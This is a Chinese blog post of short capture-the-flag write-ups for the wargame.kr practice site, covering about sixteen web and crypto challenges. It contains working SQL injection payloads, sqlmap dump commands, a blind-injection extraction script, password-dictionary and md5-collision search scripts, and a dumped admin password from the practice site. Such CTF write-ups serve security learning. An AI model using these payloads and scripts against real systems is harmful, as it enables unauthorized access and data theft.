韩国wargame v2.0的一些writeup

原创

yml_bright 于 2014-10-08 18:17:04 发布 3064 收藏
分类专栏： Web Misc PPC & CRYPTO

本文链接：https://blog.csdn.net/ymlbright/article/details/39896799

只做了其中的一小部分,写个文章做个备忘,如果你有更好的思路,希望能给我留言.

游戏地址: http://wargame.kr/

0x00 already got

抓包, 在 HTTP 头中获取 Flag

0x01 counting query

源码对 type 在 sql 中的拼接中未加入 ' 导致存在注入
利用数组如果后面的判断即可
id=x.x.x.x&pw[]=0&type=2 or 1=1

0x02 crack crack crack it

下载 .htaccess
用脚本生成字典, 使用 L0phtCrack 暴力破解

```
import itertools

a = "0123456789abcdefghijklmnopqrstuvwxyz"
fp = open("dic.txt",'w+')
for key in itertools.product(a,repeat=1):
 fp.write('G4HeulB'+''.join(key)+'\n')
for key in itertools.product(a,repeat=2):
 fp.write('G4HeulB'+''.join(key)+'\n')
for key in itertools.product(a,repeat=3):
 fp.write('G4HeulB'+''.join(key)+'\n')
for key in itertools.product(a,repeat=4):
 fp.write('G4HeulB'+''.join(key)+'\n')
fp.close()
```

0x03 db is really good

POST /db_is_really_good/write.php HTTP/1.1
memo 参数存在注入
数据库中有 memo 表

POST /db_is_really_good/memo.php HTTP/1.1
user_id = admin/
爆数据库路径,可以直接下载
http://wargame.kr:8080/db_is_really_good/db/wkrm_admin.db

0x04 flee button

查看源代码,对
---
unescape_blue14("%72%7d%71%85%7b%73%7c%84%34%87%82%77%84%73%2c%85%7c%73%83%71%6d%80%73%6b%70%7a%85%73%37%3a%2c%26%29%3a%3a%29%3d%38%29%3d%

解密得到
---
document.write(unescape_blue14("%44%72%77%86%24%77%72%45%26%73%83%71%26%24%83%84%89%7a%73%45%26%80%7d%83%77%84%77%7d%7c%42%6d%70%83%7d%7a%85%84
200;obj.style.top=-200;var i=0,ax=0,ay=200,sw=1,r=200;document.getElementById('esc').style.top=-500;document.oncontextmenu=nokp;document.onselectstart=nokp;document.ondragstart=nokp;
---
console 里执行, 即可falg 地址

0x05 fly me to the moon

抓包,修改发送成绩的包即可

0x06 img recovery

图片为 PNG + APNG 格式

谷歌 会读取 PNG 部分
火狐 会读取 APNG 部分
拼接后得到二维码 -> WHAT!@#$?

0x07 ip log table

http://wargame.kr:8080/ip_log_table/chk.php
存在注入 使用 sqlmap
sqlmap.py -u "http://wargame.kr:8080/ip_log_table/chk.php" --data="idx=1112" --cookie="chat_id=admin;"
sqlmap.py -u "http://wargame.kr:8080/ip_log_table/chk.php" --data="idx=1112" --cookie="chat_id=admin;" -D ip_log_table -T admin_table --dump

```
+------------+-----+------------+
| id         | idx | ps         |
+------------+-----+------------+
| blue_admin | 1   | 0h~myp4ss! |
+------------+-----+------------+
```

0x08 login_filtering

查看源码,得到:

```
------------------
$row=mysql_fetch_array(mysql_query("select * from user where id='$id' and ps=md5('$ps')"));
  if(isset($row['id'])){
   if($id=='guest' || $id=='blueh4g'){
----------------------
```

其中并未对 guest 大小写进行判断, sql 查询时,不区分大小写,故使用 Guest guest 登录即可

0x09 md5 password

源码中使用了 md5($ps,true),
并把 结果拼入了 sql 查询语句
寻找 md5 加密后带有 'or' 的字符串即可

```
from hashlib import md5
import itertools

a = "0123456789abcdefghijklmnopqrstuvwxyz~!@#$%^&*()_+|"

for key in itertools.product(a,repeat=4):
 s = md5(''.join(key)).digest()
 if s.find('\'=\'')>0:
  print ''.join(key)
  print s.encode('hex')
  break
```

0x0A php c

下载 p7.c 源代码, 审计发现其中存在 int 溢出 (i=i+5;)

输出一个足矣溢出的数 4294967293
返回结果为   -2147483644

注: D1 的最大长度限制为 9 , 需要去除最大长度限制

0x0B QR CODE PUZZLE

查看网页源代码
直接访问 URL http://wargame.kr:8080/qr_code_puzzle/img/qr.png
丢到二维码解码网站即可得到 flag

0x0C strcmp

源码中直接对参数使用了 strcmp
strcmp($_POST['password'], $password)
当 strcmp 的参数是数组时,即可绕过判断

0x0D web chatting

以下地址存在注入
http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=0%20union%20select%201,group_concat%28readme%29,3,4,5%20from%20chat_log_secret%20--

0x0E loney_guys

一个盲注题目,直接跑脚本

```
import urllib, urllib2, cookielib

cj = cookielib.LWPCookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(opener)

URL = 'http://wargame.kr:8080/lonely_guys/'

def sendsort(pstr):
 params = {'sort':pstr}
 try:
  req = urllib2.Request(URL, urllib.urlencode(params))
  operate = opener.open(req)
 except:
  print 'Error'
  exit(1)

 if len(operate.read()) > 1370:
  return 1
 else:
  return 0

TEMPLATE = 'desc,if((ascii(mid((select authkey from authkey limit 1),%d,1))>%d),1,(select 1 from information_schema.tables))'

'''
for i in range(32,50):
 if sendsort(TEMPLATE%(i,0)) == 0:
  print i,'OK'
  break
 else:
  print i
'''
# len = 40
flag = []
for i in range(1,41):
 a = 31
 b = 128
 while abs(a-b)>1:
  c = int((a+b)/2)
  if sendsort(TEMPLATE%(i,c)) == 1:
   a = c
  else:
   b = c
 if sendsort(TEMPLATE%(i,a)) == 0:
  c = a
 else:
  c = b
 print chr(c),
 flag.append(chr(c))

print 'Flag:',''.join(flag)
```

0x0F wtf_code

使用脚本解密

```
def t2i(str):
 out = 0
 for i in range(0,8):
  out += int(str[i])*(2**(7-i))
 return out

f = open('source_code.ws','r')
fo = open('out.txt','w+')
x = f.readline()
x = f.readline()
k = 0
while x:
 out = ''
 for c in x:
  if c==' ':
   out += '0'
  else:
   out += '1'
 x = f.readline()
 l = len(out)
 if 8 <= l <= 11 and k%2 ==0:
  print out
  c = t2i('0'+out[l-8:l-1])
  print chr(c)
  fo.write(chr(c))
 k+=1
f.close()
fo.close()
```

更多 writeup 请参考： http://www.brightyin.me/index/archives/60